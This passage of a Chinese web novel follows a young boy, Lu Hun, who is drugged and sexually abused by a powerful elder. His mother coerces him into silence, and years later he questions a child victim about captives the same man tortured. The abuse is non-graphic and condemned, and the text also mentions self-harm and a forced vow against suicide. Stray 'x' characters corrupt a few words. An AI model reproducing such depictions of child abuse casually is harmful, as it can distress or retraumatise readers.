陆魂如今三四岁的年纪,他早熟,很早便懂得察言观色了,陆夫人生产时,他不敢上前,一个人远远地待在祖母陆老夫人屋子里,扒着窗子往产房看。 陆夫人是个心地很善良的妇人,对这个丈夫与别的女人生下的私生子陆魂,虽实在生不出什么好感,但也从未为难他,大多时候是冷冷淡淡的,偶尔,她还会摸摸他的头发,给他喂两口好吃的,而这时候,小陆魂会大着胆子,满眼期盼地喊她一声母亲。 陆夫人闻言,每次都会皱皱眉头,但到底没有斥责他。 反倒陆明礼听到,脸色骤变,将他推出屋外。 因此,年纪幼小的陆魂,虽早已知道陆夫人不是他的亲生母亲,但他还是忍不住将她当成了母亲。 小小的他,扒在窗子边上,祈祷着陆夫人能够平安顺利生下孩子。 他想,陆夫人生下孩子后,兴许就会多对他笑笑了。 可是晴朗的夜空忽然天地变色,一层一层的重重乌云压了下来,闪电像正在施刑的鞭子一样,一下又一下地抽在天穹这个身体上,接着,天穹就被抽打得开始惨叫了,惨叫过后,天穹凄哀地撒起泪来。 陆魂听着这吓人雷鸣声,看着这外面的倾盆大雨,心底里生出一丝不好的预感。 产房里猛地传出产婆和大夫的声音。 “不好了,夫人难产,大出血,孩子和大人都要保不住了。” 陆魂不敢相信地瞪大眼睛,飞奔出去。 可他刚走到产房门口,只见大夫朝着陆明礼摇头:“不中用了,不中用了。” 陆明礼和陆老夫人一时都没有反应过来,不相信会有这样的事,但很快陆明礼如梦初醒,像疯了一样往产房里冲进去,陆老夫人没有拦儿子,只站在原地垂泪摇头。 陆魂到底才是个几岁的孩子,看向陆老夫人:“……祖母,大夫的话是什么意思?母亲怎么了?” 陆老夫人叹气,“你母亲她,要死了。” 陆魂呆呆立着不动,过了一会儿,他立即撒开陆老夫人的手,往产房里面跑。 里头,大夫想尽办法抢救了许久,还是没有一点法子,此刻已经停了手,去了外头,陆明礼头埋在陆夫人的胸前,悲痛欲绝。 陆夫人脸上血色尽失,嘴唇干裂,有气无力地躺在床上,下面的被褥被她不断流出的血给浸透了。 她看到了小陆魂,竟然朝他笑了下,对他伸出了手。 陆魂小心上前,将自己的小手递到她的手上。 陆夫人眼里是释怀的微笑,她目光复杂地望着陆魂,抬手抚摸他的小脑袋,虽然一句话没说,但陆魂却能感觉到妇人的温柔。 跟着,陆夫人的手便无力地从他发顶上脱落下去。 永远闭上了眼睛。 陆魂虽小,但瞬间感受到了悲伤,他忍不住地,大胆喊出了那很想喊的两个字,“母亲!” 然而,他这声母亲,将陆明礼给惊醒过来,他双眼猩红湿润,恨毒地死死盯着陆魂,他起身,大手用力拽住了陆魂。 “谁许你进来的?谁许你叫她母亲的?你不配,你不配,要不是你……”陆明礼哽咽了下,“要不是你和你的生母,芸儿又怎么会这样,你给我滚,你给我滚!我不想再见到你,滚出我陆家。” 父子俩的争吵将陆老夫人惊动进来,望见陆明礼这样,心疼地护在陆魂身前,“明礼,你冷静点,不要迁怒魂儿呀。” 陆明礼情绪激烈,但也怕伤到陆老夫人,停下了手,他垂着泪,崩溃道:“母亲,你让他离开陆家吧,我不想见到他了,我不想……” “明礼。”陆老夫人也在流泪,“芸儿刚走,我知道你心里受不住,你恨魂儿的生母,可这孩子还这样小,你让他走,他能去哪呀。” “母亲,这个家,有他没我,有我没他。” “你这孩子!” 陆老夫人越哭越伤心,捶起胸口,“你这是要逼死我么?!你干脆让我死算了,让我死算了。” 陆明礼见状,立即跪下,抱住陆老夫人的腿,字字泣血,“母亲,我们和芸儿原本多好呀,日子虽不富贵,但也是恩爱孝顺,可陆魂她母亲,故意将这一切给毁了,毁了我,毁了芸儿,毁了我们这一家呀,你让我如何能看着他?如何能呀?” 陆老夫人唉声叹气,扶着儿子。 陆老夫人安抚住陆明礼,带着陆魂走出产房,她撑着拐杖,弯腰抚摸孙儿的发顶,欲言又止,最终,她还是说了出来。 “魂儿呀,你母亲刚去,你父亲是受不住的,你就先不要出现在他的面前了,你先去外面走走,等晚些时候,你再回来好吗?” 陆魂沉默了下,乖顺点头,“好。” 陆老夫人爱怜又悲伤地将手掌在孙儿头上停了会儿,才挪开手,佝偻着背,拄着拐,去房里给他拿了伞和一件厚衣出来,又另拐去厨房,拿帕子包了两个肉饼,一同递给陆魂。 同时,陆老夫人犹豫交代道。 “魂儿……你,尽量回来得晚些,你父亲他,今晚要处理你母亲的后事,兴许要很晚的。” 陆魂抱着所有东西,这个才三四岁的孩童,却不哭不闹,乖乖听着祖母的吩咐,还安慰陆老夫人,“祖母不要难过,孙儿没事的。” “好。”陆老夫人擦起眼泪,“你一个人小心一些,不要走远了,若是实在没有去处,就去隔壁的陆阿婆家待一待。” 陆魂小小的一个,撑起比他还大的伞,拿着衣物和吃食,离开了。 陆老夫人站在身后,看看陆魂离去方向,又看看产房。 做了什么孽呀,弄成这样。 陆夫人生产那会就下起的雨,一直没停,不时伴着响雷,陆魂出了陆家后,他怕会碰到出门的陆明礼,于是走出了断头胡同。 雨太大,他的伞很快就不太管用了,衣裳淋湿,厚衣穿在身上,更是黏得人湿冷得打颤。 他无处可去,无居可依。 这个时候,他想到了白日里读书的魏家学堂。 他于是往魏家走去。 好在他运气还算好,魏家并没有关门睡下,魏家看门的人都认识他,这个年纪的陆魂,长得眉目清秀,唇红齿白,人也还没有那样阴郁不讨人喜欢,虽然他还是没有太多话,但是门房的人都挺喜欢他的。 看到他深夜跑来,笑呵呵问他,“陆家小公子,怎么这么晚了还过来呢?可是忘了功课在学堂里……” 陆魂茫然无措,只好借着对方的话点了点头,“我,是忘了……” “那快些去拿吧。”门房的人摸他头发,“若是明日让先生打手心可就不好了。” 门房的人怕他天黑看不到,还给了他一盏灯笼,陆魂提着小灯笼,撑着伞,往学堂走。 陆魂原想着,干脆在学堂里待一晚上算了,可学堂实在天黑了,又僻静,他到底感到害怕,于是只好从学堂离开,看看能不能找个不那么黑的地方呆呆。 他来到了接近后宅的地方,这里常有下人来往,都挂着风灯照着,他于是择了一个被花草掩映住的屋檐角落坐下来,既能遮雨,又不会害怕。 可他刚坐下来,发现身后传来了动静。 是一个比他大几岁的小娘子,穿着寝衣披上一件白狐毛斗篷就出来了,陆魂很快认出了这个人也是学堂里的一个姐姐,魏大人的独女魏姻。 陆魂原以为,她不会看到自己的,但是他想错了。 魏姻一眼就注意到了偷偷摸摸蹲在角落里的陆魂,她认出他后,惊讶问:“小陆魂?你怎么躲在这呀?。” 陆魂吓得赶紧往后藏了藏。 “别藏了。”魏姻朝他招招手,“过来,小陆魂,到姐姐这来。” 陆魂只得红了脸,垂着头x,走出去。 “……魏姐姐。” 魏姻打量了他一会儿,才问:“晚上没有回去么,怎么躲在这里?” 陆魂抿着唇,不说话。 “怎么不回姐姐的话呢?”魏姻问着,跟着好像是注意到了他身上半湿的衣物,皱眉道:“怎么身上湿了?冷不冷呀?” 陆魂冻得有点发抖了,但仍旧摇摇头,“不冷,姐姐。” “小傻子。”魏姻捏捏他的脸,牵起他的手,“亏表姐还觉得你聪明又乖,我看你是小傻子,都冻成这样了,还说自己不冷,别在这里傻蹲着了,姐姐带你去换件衣裳。” 第72章 陆魂小脑袋摇了摇,不愿意去给别人添麻烦,“没关系的姐姐,我真不冷,我只要在这里坐一会儿就好了。” 魏姻发现了不对劲,“怎么了,是家里出了什么事么?” 陆魂还是摇头,不肯对魏姻透露,只小心将手从魏姻那抽出来,继续埋头在角落坐下,魏姻用劲揉他的头发,自己虽也年岁不大,却用一副大人似的口吻说:“小陆魂,你真古怪呀。” 见小陆魂仍旧端坐在地上,好脾气地任由她揉着他的脑袋,不急不哭,魏姻只好道:“起来,把手给姐姐。” 陆魂看看她,听话起身,他从小乖巧习惯了。 魏姻先是握住他的手臂,将他身上湿掉的厚衣脱了下来,陆魂只是被风吹得抖了抖,也不问,任她脱下,然后,魏姻才将自己身上那件白狐毛的斗篷披在了他的身上,又替他系好。 她的衣物要比他大了许多,有些拖在地上了,陆魂怕这雪白柔软的斗篷脏掉,连忙用手往上抱住。 陆魂惊讶地抬头,“姐姐,你把衣裳给我,你会冷的。” “没事。”孩子的脸粉嫩柔软,又被大大的白狐斗篷给围住了,魏姻忍不住再在他的脸上捏捏,“姐姐待会回去另外换一件就是,你穿好,不要再弄湿了。” 陆魂小心注视着面前的魏家姐姐。 在小陆魂的印象里,魏家这个姐姐长得特别美,身边总有许多男孩围着,但她对他们从来没有这么温柔过。 而小陆魂,也是第一次感受到,除了祖母外,有人对他这么关心、温柔。 他看着魏姻,两只小手紧紧抓住白狐斗篷,上面还有魏姻身上的一点香气。 小陆魂不由呆呆看了她好久。 “小傻子,这么看着姐姐。”魏姻心情悒郁了多日,此刻却被面前小家伙愣头愣脑的乖乖模样,逗得忍不住笑了笑,她弯下腰,捏捏他的小鼻子,“是不是喜欢姐姐呀?” 小陆魂脸羞涩地红了。 陆魂低头,坐回去,从怀里摸出已经冷硬的肉饼,他原想给魏姻吃,但是这冷硬肉饼,魏姻是绝对不可能吃的,他只好自己小口小口咬了起来。 “别吃这个了。”魏姻笑道:“跟姐姐来,姐姐带你去吃别的。” 陆魂被她拉走了。 来到了魏家祖父的院子里。 魏姻低声解释道:“姐姐母亲去世了,大厨房那边忙不过来,姐姐带你去姐姐祖父的小厨房里看看有什么吃的。” 陆魂听着,轻轻回握了一下魏姻的手心。 他犹豫了下,还是小声说了出来,“姐姐不要太伤心了,姐姐的母亲肯定不想要姐姐难过的。” 魏姻红了红眼,没理会他的安慰。 魏姻吩咐小厨房的人,就着魏老大人今晚吃剩下的鸡汤,做了一碗汤面给陆魂。 汤面除了鸡汤,还浇了一大勺炖得酥烂的鸡肉。 魏姻把筷箸递给陆魂,小陆魂于是扒着比他还高的桌子,吃完了这碗热面,之后,陆魂便不愿意再继续打搅魏姻,坚持要离开回家。 陆魂从魏府出去的时候,雨已经停了,他抱着伞,披着身上斗篷,迟疑往陆家走去。 他想,这个时辰了,父亲该不会再注意他了吧。 陆魂悄悄回了一趟陆家,陆明礼还在处理陆夫人的后事,陆老夫人试着委婉劝说儿子,让他同意陆魂回家来,但陆明礼绝不松口,一脸恨意巴不得陆魂永远别回来了。 见此,陆魂不敢再进去,又默默离开了断头胡同,一个人裹住斗篷在街上小心走着。 走到一个酒楼时,陆魂跟一个匆匆领着丫鬟的贵妇人撞到了,陆魂抬起头,一下认出了眼前这个贵妇人是他的生母贺夫人。 很小的时候,陆明礼就毫不隐瞒地带他去找过贺夫人,告诉了陆魂,贺夫人才是他的亲生母亲,让他跟贺夫人离开。 贺夫人手里提着一个食盒,里面飘出来一阵清晰的奶香味,应该是什么乳酪之类的吃食,贺夫人走过来时,还正跟着后面的丫鬟说话。 “文卿一直被老太爷养在身边,如今好不容易让他来我屋里陪我两日,我记得他最爱吃这家的桂花乳酪了,赶紧带回去给他尝尝。” 丫鬟道:“夫人亲自去买的,大公子待会过来见了,一定极高兴的,我们快回去吧,说不定老爷子这会儿已经让大公子回来了。” 贺夫人正说着话,没想到会撞到人,手里的食盒被撞了出去,她瞬间怒火中烧,怕将儿子喜欢的乳酪给摔坏了。 “你这孩子怎么回事,走路也不看着点,跟个没头苍蝇似的在街上乱撞呢!” 陆魂小小一张脸,面无情绪地就这么注视着她。 贺夫人也看到了,面前的陆魂。 她怔了好一会儿,似乎完全没有想到,接着,想也不想朝一旁丫鬟吩咐:“你快看看乳酪有没有摔碎,若是没了,你回去再买一碗,若是还在,就先回府给文卿送去。” “还在。”丫鬟没多想,“那奴婢就先回去给大公子了。” 丫鬟走后,就母子俩对立而站,贺夫人怕街上人多口杂,连忙将他拉到一旁去,才问道:“魂儿,你这么晚了怎么在外头?” 陆魂还没来得及开口说什么,贺夫人又自顾自地说了起来,“不用说,又是你阿爹和他夫人给你脸色看了吧?” 陆魂小眉头蹙起,“母亲没有为难过我。” 贺夫人冷笑,“你倒是好,一口一个母亲叫的多亲热,也不见人家理会你。” 陆魂垂下头。 贺夫人望着眼前孩子,孤零零的小小一个,裹着件白斗篷在漆黑街上,到底是亲生骨肉,态度难得软了点,“魂儿乖,娘不说她就是了,你这究竟是怎么回事?是不是陆明礼给你赶了出来?没事,娘送你回去找他算账。” 陆魂毫无情绪,不肯动,也不肯叫她。 贺夫人顿了顿,拉住他的手讨好地笑,“魂儿呀,不是娘不肯留你在身边,你也知道,娘是人家的妻子,还有你大哥,若是你的身世被我婆家人知道了,娘和大哥可怎么办?所以你听话好不好,娘送你回你阿爹那去,明日娘就让人给你送点好吃的去行么?” 陆魂冷漠推开她的手,“您放心,我不是去找您,要留在您身边的。” 贺夫人讪讪笑笑,“那你这是……” “母亲难产走了。”陆魂低声开口,“阿爹不想见到我,不让我回去,祖母就让我先在外头走走。” “他也真是的。”贺夫人皱眉,“你才多大,就让你一个人在外头,遇着了歹人可怎么办?” 陆魂抿唇,不语。 “罢了罢了。”贺夫人叹口气,“你今晚便先去我那住一晚吧,娘明日送你回去,但魂儿你千万要记住,绝不许说自己的身世,也不准喊我娘,知道么?” 陆魂声音淡淡的,“我也不会喊您的。” 贺夫人自知有些对不住小儿子,倒没较真,反倒还为他的懂事松了口气,不怕会暴露,她于是牵起陆魂回贺府。 陆魂实在无处可去,即使他不情愿,但也不得不跟着她去。 贺家是荒州人氏,此时是因为贺家老爷子在京中任职,才带着全家来到了京中住,贺文卿则被贺老爷子亲自养在膝下的,直到后来,贺老爷子退了休,才离开京城,回去荒州。 贺夫人带陆魂来到贺家,贺文卿还没从贺老爷子那过来,贺夫人松了口气,对陆魂嘱咐道。 “待会若是文卿回来了,你不要出现在他的面前,让他知道,晓得么?” 陆魂嗯了声。 “魂儿真乖。”贺夫人下意识想去摸他头发,但陆魂躲开了,贺夫人只好道:“你就住在娘隔壁那个小房间里,不要出去,要什么,等娘过去找你的时候,再跟娘说,对了魂儿,你用过晚饭了么?” 她这个时候,才想起这事。 陆魂想到魏家姐姐给他吃的那碗面,小脸温和了些,“吃过了。” 贺夫人也就没再管他了,因为此时,一个让母x子俩猝不及防的男人从外头走了进来,这是一个三十岁左右的青年男人,面貌长相还不错,一身华贵气质,但却带着浓浓的酒气和胭脂气,陆魂认不得他,只愣愣望着,不敢说话。 “郎君?”贺夫人惊慌问:“你今晚怎么来了?” 原来这是贺夫人的丈夫,贺文卿的父亲,贺父。 贺父冷冷看她几眼,随意拉开一把椅子坐下,“老爷子说我不像话呗,让我来你房里,看看你。” 贺夫人没心思管贺父的话,不动声色去用身子遮小陆魂。 但她这个小动作,一眼便被贺父给发现了,他来了兴趣,让贺夫人赶紧让开,贺夫人不情愿,贺父怒声让她走开,贺夫人这才不得不退开了。 贺父看到了小陆魂,他在陆魂面前蹲了下来,看了许久。 贺夫人不安地道:“这孩子是我认识的一个夫人家孩子,我看他乖巧,就请他来府中住一晚,与我说说话,郎君,难道不成么?” 贺父似乎根本没在听贺夫人的那一番解释,只是极认真有趣地盯着陆魂看。 直看得身后的贺夫人心里七上八下。 但是,贺父却笑了起来,“这孩子,可真长得像你和之前来府中教贺文卿的那个姓陆的先生呀。” 贺夫人心提上嗓子眼,“郎君,在说什么呢……” “没事。”贺父冷不丁又笑了两声,“像就像吧,随你,你若是想要多几个这样的孩子,我也不拦着你,夫人高兴就好,只希望夫人,也不要妨碍我。” 第73章 贺夫人脸上的不安和惶恐渐渐地消失不见,换成了冷笑和冷漠盯着贺父,“郎君既如此说,我便放心了,以后自然不会让郎君失望的。” “既然看都看了,那我走了,夫人早些歇息。”贺父仍是一副不在意的模样,反倒和蔼地牵起小陆魂的手,“至于这孩子,我替你送他去住处吧。” 贺夫人懒得阻止,让他带陆魂去隔壁偏房住处就是,小陆魂似乎觉得,跟着贺夫人还是贺父都一样,他毫不反对,任由贺父将其带走。 隔壁偏房是贺夫人以前让外甥女陈宣华住的,好照料陪伴,陈宣华年岁大了后,就另外辟了个住处,房间一直空着。 贺父带陆魂来到这里,见这孩子面容秀美,粉雕玉琢般,一双眼眸漆黑透亮,小小年纪却透露出一股心事重重的模样,可又乖巧懂事。 他问陆魂,“孩子,多大年岁了?” “还有半年,就五岁了。” “进学了么?” “进了。” “哦?这么早?那可曾读了什么书?” “先生说我学得太快,要给我讲《论语》了。” 贺父听到这里,忽的出神了起来,接着他轻笑起来,抚摸孩子的发顶,“那你真聪明,我以前也和你一样聪明,早早地就开蒙进学了,不到二十岁就有了功名……” 陆魂成熟地问:“那先生,为何你不去朝中,反而整日在外头喝酒呢?” 贺父眼神黯然,嘴角挤出一抹凄凉的笑容,他不再回答陆魂的话,意味深长地嘱咐道:“好了,孩子不该问这么多大人的事,你记住了,在贺府不许乱走动,尤其是……不能去老爷子那边,知道了么?” 陆魂点点自己的小脑袋,“晓得了。” 贺父走后,陆魂独自在门边呆立了须臾才起身,贺文卿没多久就来了,径自被仆妇丫鬟迎去贺夫人的房里,贺夫人见到儿子,高兴地合不拢嘴,连忙让人将带回来的桂花乳酪端来给贺文卿,又让人送上一桌子的各样精致吃食,全是贺文卿喜欢的,贺文卿这个年纪已经进学学礼了,给贺夫人有模有样地行完礼才接过吃食。 陆魂注视着贺文卿,这是他第一次见到贺文卿,这个……与他,同母异父的哥哥。 陆魂坐在孤零零的房内,看着隔壁正房里的母子,看了许久许久。 贺夫人忙着照顾贺文卿,拉着他问这问那,完全忘了隔壁偏房还有一个儿子,也没派人问陆魂要什么,陆魂屋里只有剩的一点儿烛火,他没再去听隔壁说话声,从怀里掏出一个袖珍小书,裹紧斗篷,借着微弱灯火看了起来,然而那一点油灯很快就燃完了,陆魂睡不着,便拿起书去了外面。 他找了个没什么人,但有光亮的地方坐下来继续看。 小陆魂并不知道。 他来到了贺老爷子住处附近。 也不知道,贺老爷子今夜并未睡下,带着老管家在府中闲步,贺老爷子很快注意到了在廊下认真看书的秀美孩子,他问:“哦?这是谁家的孩子?” 老管家看了一眼,笑道:“听说是夫人带回来的。” “看样子,是个清贫的上进孩子。”贺老爷子深笑着吩咐,“我先回去了,你待会让这可怜孩子,来我房里读书吧,这点光亮要废眼睛的。” 老管家于是来到了陆魂跟前,说老爷子见他在这读书冷,又废眼睛,请他去老爷子屋里看,陪老爷子说说话,陆魂到底还是个年幼的孩子,又是生母的府中,并未多想,乖乖跟着老管家去了。 陆魂进到贺老爷子房里后,立刻闻见了一股浓浓的甜香,熏得他的脑袋有一点点发晕,继而,他看到了端坐在上首的威严老人,老人的他眼神看得陆魂很不舒服。 “真是漂亮的孩子,过来,坐到老夫身边来看书。” 陆魂迟疑了一下,还是走了过去。 然而,待他刚坐下,只觉眼睛有点睁不开了,他艰难挣开一点眼缝,却看到,一双枯瘦、像是树根的手,在解他身上的斗篷…… 陆魂恐惧地想要挣开,可是,他眼皮已经完全沉重地抬不起来了。 第二日。 陆魂小小一个,却脊背佝偻,抱着斗篷,赤着双脚,身上只穿了一件白色细麻衣的宽大衣裳,步履僵硬地往贺夫人房中走去,他身上这件衣裳,极宽极大,几乎罩到了他的脚踝,孩子的面容苍白,嘴唇被他狠狠地抿住,已经抿出深深的血痕出来了。 一阵带着泥土腥气的风簌簌往他身上吹。 他却像是灵魂被抽走了,毫无知觉般,一点感觉都没有。 有时,他手指不受控制,挛曲成一个很不正常的形状,他也只是麻木地攥住斗篷,别的就什么也不知道了。 孩子一步一僵地来到正房,贺夫人早已起身,正焦急地在想什么,看到陆魂回来,她才仿佛终于松了口气,急忙道:“魂儿,你一大早这是上哪去了,娘不是交代过你,不要乱跑么,幸好你大哥还没醒,若让他看见起疑了怎么……” 很快,她生生夹断了话语,因为她这个时候,注意到了陆魂吓人的脸色和奇怪的衣着。 贺夫人慢慢伸出手,去碰了碰他,这孩子穿得如此凉爽,可身上却是滚烫滚烫的,而随着她一碰,这孩子就像是受惊的兔子似的,浑身哆嗦,反应剧烈,可他的眼神,则呆滞空洞。 小陆魂平日虽懂事安静,可到底还像个孩子。 但现在,他就像是傻子一样。 她小声惊呼道。 “魂儿,你这是怎么了?!” 贺夫人连忙将其抱到小榻上去,掀开他的衣裳才发现,身上竟有青青紫紫的指痕,这些痕迹,布满了全身上下,这明显是有人……对这孩子…… 陆魂全程任由贺夫人去触碰,而他除了浑身激烈战栗外,跟个傻子似的一动不动。 “魂儿,是谁……” 陆魂眼珠子动都没动,已经不会眨眼了,贺夫人一句话没法问出来,她也不敢去惊动这孩子,只说她今日要晚些起身,没有她吩咐,任何人都不许进来。 贺夫人完全没了办法,无奈之下,她准备将陆魂先抱到房里去,再让人去请陆明礼来府中,但她的手刚去碰小陆魂怀里的白狐毛斗篷,这个原本一点反应都没有的孩子,突然疯了一样咬住她的手,不许她碰他的斗篷。 贺夫人白着脸问:“魂儿呀,到底怎么了,你跟娘说呀。” 陆魂像是回了点神,满眼惊恐地对贺夫人说,“……那个贺老大人……那个老家伙,我要告诉祖母,告诉祖母……” 贺夫人瞪住眼。 陆魂推开贺夫人,抱紧斗篷,要回家去,贺夫人在怔楞好一阵过后,猛地惊醒过来,立刻死死拽住小陆魂,“不,不,魂儿,你不能说,你不许说,这事不能传出去,传出去了娘和你大哥还怎么在这个家待下去?还怎么在外头做人?” 陆魂呆呆回头看她。x “魂儿,你听娘说。”贺夫人着急道:“你大哥他姓贺,若是让人知道了他祖父……以后他还怎么读书还怎么考取功名……” 陆魂没有什么反应,仍旧怔怔地注视她。贺夫人叹口气,“娘这也是为了你好,你还小,这事传出去会让人家怎么想你?况且,贺家势大,你得罪了贺家,你和你阿爹还有你祖母,日后还能得好?” 陆魂手足无措,茫然地抓着斗篷。 “乖孩子。”贺夫人摸摸他的头,“没什么的,你就当是做了场噩梦,什么都不记得,娘送你回去好不好?” 陆魂只定定地看了她很久很久,最终,他垂下眸子,攥紧斗篷裹在身上,不再理会贺夫人,头也不回地离开,贺夫人没敢阻拦,只暗暗让人送他出府。 离开贺家,陆魂瑟瑟站在街上,他不敢抬头,不敢看任何人的眼神,他拼命地把狐毛斗篷往身上死死裹住,只露出一双眼睛来,好像这样,别人就看不到他这个模样了。 “小陆魂?你怎么在这呀?” 有人还是将他认了出来。 他看过去,是与丫鬟出门的魏姻。 陆魂面无情绪,低头要走开,但被魏姻一把拉住了,“小傻子,你看见姐姐跑什么呀,怎么把自己裹地这么严实呢,要不是看到这件斗篷,我都不知道是你。” 陆魂好像认不出来她似的,恍惚盯着她看。 “你身上好烫。”魏姻很快发现了,她扶住陆魂的肩头,去看他藏在斗篷里的脸,“脸怎么这么白,你昨晚是不是没有回家,把自己弄生病了?” 陆魂小嘴抿得紧紧的,一言不发。 魏姻更是抓紧了他的手不肯放,陆魂呼吸沉重,头花眼乱,明显是病得厉害,魏姻看这孩子一个人在街上逛,不放心,于是将他牵回魏家,陆魂全程无动于衷,随便她怎么样。 魏姻让人去请了大夫来,大夫要给他诊脉,无动于衷的他这时却突然剧烈发抖起来,使劲往被褥里面缩去,等大夫走了,他才停止了发抖。 大夫于是只好先照着受寒发热症状,开了些药。 喝药的时候,他也发抖,不肯吃。 魏姻不太喜欢小孩的,但挺喜欢平日里很乖的这个小陆魂,如今他突然变成这个样子,她只好亲自耐心端药喂他,陆魂也下意识抖,魏姻于是柔声哄着他。 “小陆魂乖,是姐姐,昨晚给你斗篷的魏姐姐你还记得么?姐姐给你喂药喝,你乖乖别动,让姐姐喂你行不行呀。” 第74章 长久不肯说话,不肯让人碰触他的陆魂,在这时终于往魏姻身上望了望,魏姻小心指指他身上斗篷,陆魂认出了她来,紧绷的背脊逐渐放松下来,他流下了眼泪,抱住魏姻,“姐姐。” 至此,小小的陆魂日复一日变得阴郁不乐起来,他完全变得寡默少言,也极少再与旁人亲近往来。 没过多久,陆明礼也随后得疾离世了。 剩下陆魂与祖母陆老夫人相依为命。 陆魂记得,祖母去世之前,他跪在床头,祖母放心不下地拉住他的手,孺孺叮嘱他。 “魂儿啊,我可怜的魂儿,自小受尽磋磨,但你须记住,你还年轻,以后还有几十年的好日子要过,断不可被从前的种种绊住,做出些想不开的事,否则,祖母便是死,也泉下难安。” “而且祖母相信,我魂儿以后的日子定然是前程似锦,美满安康的,会跟喜欢的姑娘高高兴兴地过日子。” “祖母。”陆魂在床头苦笑,“我喜欢的姑娘,已经成婚了……” “不,魂儿。”陆老夫人病孱道:“老天一定不会磋磨我魂儿的,祖母知道,我家魂儿以后一定苦尽甘来,你要相信祖母,相信祖母。” 陆魂惨然笑笑,“孙儿相信祖母。” “好,魂儿,你发誓,你用祖母的魂灵发誓此生绝不会想不开,做出寻死的事,若你违誓,祖母死后定然下十八地狱,不得超生……”陆老夫人在用最后的力气,抓紧他的手。 陆魂心胆俱裂,不愿起誓,但陆老夫人却硬撑着一口气,恶狠狠逼他说,陆魂无可奈何,只得道:“孙儿起誓,绝不有寻死念头,如有违誓,祖母下十八地狱,不得超生。” 陆老夫人这才如愿阖上眼。 陆魂睁开眼,虽身在文家老宅里,可祖母临终谆谆嘱咐犹然在耳。 与此同时,纪嘉玉与魏姻在那个孩子身边说着什么,陆魂勉强稳住沉重心情,重新回去,纪嘉玉见他又过来了,很是疑惑,魏姻拉住他的手,问:“陆魂,纪嘉玉说你刚才脸色很不对劲走了,出什么事了?” “没事姐姐。”陆魂朝她摇头,目光投向仍旧将大半个身子缩进被褥里的孩子。 孩子身上穿的白色细麻衣,和贺家的完全一样。 陆魂柔声对魏姻说道:“姐姐,我想问这孩子些话,你们在这他害怕,你先和纪公子去外头吧。” 魏姻看陆魂神色凝重,立即答应了,让纪嘉玉跟她一起走,纪嘉玉将信将疑地离开。 见屋里没人了,陆魂在原地站了站,才朝那孩子走去,孩子一直都很胆怯害怕,听到一点声音就发抖,陆魂尽量用最轻柔的声音与他说话。 “别怕,是哥哥,哥哥问你,你是不是还有个姐姐?” 孩子突然顿住了,跟着,慢慢地将被褥从头上拉下去一点,“哥哥你,你知道我阿姐?” “嗯,知道。”陆魂脸色很苍白,但笑得却很温柔,“你和你阿姐,是不是一起被坏人给抓走了?” “哥哥你怎么知道!”孩子忽然变得尤其激动,“奶娘带我和阿姐去看花灯,但是人太多了,我和阿姐跟奶娘走丢了,就被几个坏人给带到一个空宅子里,有个坏东西就脱我和我阿姐衣裳,手……手在我们身上摸来摸去,他的手好丑好丑的,跟怪树一样。” 陆魂听着孩子的话,久远的不堪记忆再次浮现,身子又开始发起抖来。 这孩子虽很害怕,很痛苦,但他不像陆魂那样早熟明白,还不太完全明白自己遭遇了什么,紧张地望着陆魂这副模样。 “你还记得什么么?告诉哥哥。” 半晌后,陆魂恍惚开口。 孩子不再那么激动了,变得极难过,“那个宅子里,不仅关着我和阿姐,还有很多人,有怀着宝宝的姐姐,不知道现在那个姐姐的宝宝生了么……还有比我阿姐大几岁的哥哥姐姐,也有腿走不了路的姐姐,对了,还有个哑子小哥哥,有个姐姐呢,整天傻傻地笑,阿姐说,她是傻的,还有好多些哥哥姐姐,好吓人好吓人的,那个坏老头时不时就会带一个哥哥或者姐姐进黑屋子,哥哥姐姐们就哭了,我好害怕,好害怕,哥哥姐姐也很害怕,那个哑巴小哥哥有次还用藏起来的碗片割自己的手,后来,我听那个有身孕的姐姐说,那个坏老头是个不太能人道的老变态,人道什么意思我不懂,但其他哥哥姐姐们好像都知道,他所以把我们都关起来,就想要刺激他人道,但他一直不能够把我们怎么样,有身孕的姐姐说,他是个不中用的,只能打我们,摸我们,折磨我们。” 陆魂抚摸孩子的头,以此安抚他的情绪。 “那后来呢?” 孩子越来越黯然,“那个宅子其实没什么人看守的,但却不知道用了什么东西,我们总是逃不出去,哥哥姐姐们说是阵法,后来,那个有身孕的姐姐想出了办法,把我和阿姐送了出去,至于什么办法,我不知道,阿姐似乎知道,她很难过很伤心的样子,其他哥哥姐姐们也是这样,虽然在对我们笑,但却一直流泪,好像以后都要见不到我和阿姐了,我和阿姐后来顺利逃出去了,可那个坏老头很快就发现了,一直派人来追我们,后面……奇怪,我怎么记不太清了,阿姐呢?那个坏老头的人追过来了么?哥哥你快带我跑,带我去找阿姐……” 陆魂无声了。 这孩子无疑就是那对遇害的姐弟,已经死了好几年。 而这孩子,还不知道他们姐弟当初早已被贺老爷子的人杀害了。 陆魂柔声说道:“这里很安全,你不用害怕,如果出去了,反而会被发现的,你先好好休息,哥哥让人给你多送点好吃的来补身体,等你补好身体,哥哥帮你找到阿姐,怎么样?” “还要回去救其他的哥哥姐姐。”孩子满眼期待,“哥哥不能骗我噢。” 哄着这孩子睡下,陆魂起身去找纪嘉玉,纪嘉玉已经回到他的房里,陆魂让魏姻先回房等x他,而他径自去纪嘉玉房里一趟。 “怎么样了?”纪嘉玉满腹狐疑地问他:“那个孩子究竟是怎么一回事,他右脚为什么会跟那对姐弟尸骨的弟弟一样,长有六趾?” 陆魂却低声道:“那对姐弟是被一个老东西所害,那老东西一直以来难以人道,因此找来了许多人来,有像他们姐弟那样的孩子,也有身怀有孕的妇人,年轻而却长相秀美的年轻人,无法说话的哑子,还有疯傻的姑娘,兴许还有更多人,那老东西无法行事,便用各种折磨这些受害人以满足早已畸形的心理……” “陆魂,你在说什么呀?!”纪嘉玉简直听得不敢相信。 “我没有与你说笑。”陆魂抿出泛白的唇,“那对孩子就曾和这些受害人关在一起。” 纪嘉玉顿了顿,而后是满脸涨红,他一脚踹在旁边桌案上,将案腿直接踹直了,而后,他爆发出盛怒。 “畜生!” 纪嘉玉随即愣住,“你怎么会知道这些?” “纪公子先不要急着问我是怎么知道这些事的。”陆魂拿出来那件白色细麻衣,“你只要拿着这件衣裳,去贺家,见见贺家老爷子,把这件衣裳给他看看,跟他说说那对被人发现的姐弟尸骨,看看他的脸色,纪公子应该就会有发现了。” “贺老爷子?贺老爷子跟此案有什么关系……” 然而话刚出口,纪嘉玉就住了口,猛然回想起陆魂方才说的那个老东西,他震惊,抬起头,直愣愣望住陆魂。 陆魂悲悯地笑了笑。 纪嘉玉神态晦涩,没有丝毫耽误,带着白色细麻衣大步离去。 